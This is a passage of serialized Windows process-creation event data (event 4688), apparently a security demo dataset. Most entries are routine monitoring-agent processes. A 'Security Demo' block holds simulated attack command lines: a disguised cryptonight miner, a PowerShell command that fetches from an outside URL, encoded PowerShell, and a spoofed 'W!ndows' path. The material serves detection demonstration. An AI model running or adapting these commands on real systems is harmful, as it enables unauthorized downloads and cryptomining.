\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\"],\"EventID\":[4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688],\"NewProcessName\":[\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\MusNotification.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\WindowsAzure\\\\SecAgent\\\\WaSecAgentProv.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\dllhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\W!ndows\\\\System32\\\\suchost.exe\",\"C:\\\\W!ndows\\\\System32\\\\powershell.exe\",\"C:\\\\W!ndows\\\\System32\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\appidcertstorecheck.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\UsoClient.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\MusNotification.exe\",\"C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\WinSxS\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF\\\\DesiredStateConfiguration\\\\DscRun.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\MusNotification.exe\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\WinSxS\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe\",\"C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\884\\\\pmfexe.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\WinSxS\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\WindowsAzure\\\\GuestAgent_2.7.41491.901_2019-01-14_202614\\\\CollectGuestLogs.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF-64\\\\DesiredStateConfiguration\\\\DscRun.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\884\\\\pmfexe.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF\\\\DesiredStateConfiguration\\\\DscRun.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\MusNotification.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF\\\\DesiredStateConfiguration\\\\DscRun.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\"],\"TimeGenerated\":{\"__ndarray__\":\"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\",\"dtype\":\"float64\",\"shape\":[190]},\"WrapCmdl\":[\"\\\"cmd\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\WindowsAzure\\\\SecAgent\\\\WaSecAgentProv.exe\\\" -startPoll\\nC:\\\\WindowsAzure\\\\Logs\\\\ 168.63.129.16 5248000 900000 21600000\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\\n\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"cmd  /c echo Begin Security Demo tasks\",\"cmd /c echo Any questions about the commands executed\\n\",\"cmd /c echo timb@microsoft.com; ianhelle@microsoft.com;\\n\",\".\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p\\n\",\".\\\\powershell -Noninteractive -Noprofile -Command \\\"Invoke-Expression\\nGet-Process; Invoke-WebRequest -Uri http://wh401k.org/getps\\\"\\n\",\".\\\\powershell -enc\\n\",\"cmd  /c echo End Security Demo tasks\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\system32\\\\appidcertstorecheck.exe\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\system32\\\\usoclient.exe StartScan\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicin... -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicin... -Embedding\\n\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService State\\\\Resources\\\\884\\\\pmfexe.exe\\\" -PerfMode optimize\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo 